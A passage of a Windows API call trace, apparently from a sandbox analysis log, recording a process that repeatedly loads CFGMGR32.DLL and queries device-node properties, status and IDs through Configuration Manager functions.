lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.160] malloc (_Size=0x18) returned 0x20abc281ee0 [0229.160] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.161] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x445a815b, dwHighDateTime=0x1d9eb0c)) [0229.161] SetEvent (hEvent=0x248) returned 1 [0229.165] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.165] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.167] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.168] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.169] malloc (_Size=0x18) returned 0x20abc281c20 [0229.169] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.169] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x445ce479, dwHighDateTime=0x1d9eb0c)) [0229.170] SetEvent (hEvent=0x248) returned 1 [0229.173] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.173] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.177] malloc (_Size=0x18) returned 0x20abc282020 [0229.177] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0229.177] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x445ce479, dwHighDateTime=0x1d9eb0c)) [0229.178] SetEvent (hEvent=0x248) returned 1 [0229.182] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.182] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.186] malloc (_Size=0x18) returned 0x20abc281a80 [0229.186] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.189] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x445f4525, dwHighDateTime=0x1d9eb0c)) [0229.189] SetEvent (hEvent=0x248) returned 1 [0229.194] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.194] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.294] malloc (_Size=0x18) returned 0x20abc282040 [0229.294] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x14, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0229.294] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x44700b5e, dwHighDateTime=0x1d9eb0c)) [0229.294] SetEvent (hEvent=0x248) returned 1 [0229.300] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.300] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.303] malloc (_Size=0x18) returned 0x20abc281d20 [0229.303] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x14, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0229.304] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x44700b5e, dwHighDateTime=0x1d9eb0c)) [0229.304] SetEvent (hEvent=0x248) returned 1 [0229.309] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.309] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.313] malloc (_Size=0x18) returned 0x20abc281f60 [0229.313] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0229.314] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44725849, dwHighDateTime=0x1d9eb0c)) [0229.314] SetEvent (hEvent=0x248) returned 1 [0229.320] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.321] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.325] malloc (_Size=0x18) returned 0x20abc281ec0 [0229.326] CM_Get_Device_IDA (in: dnDevInst=0x15, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\TEREDO_TUNNEL_DEVICE") returned 0x0 [0229.326] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4474cea4, dwHighDateTime=0x1d9eb0c)) [0229.326] SetEvent (hEvent=0x248) returned 1 [0229.330] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.330] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.333] GetProcAddress (hModule=0x7ffb1ced0000, 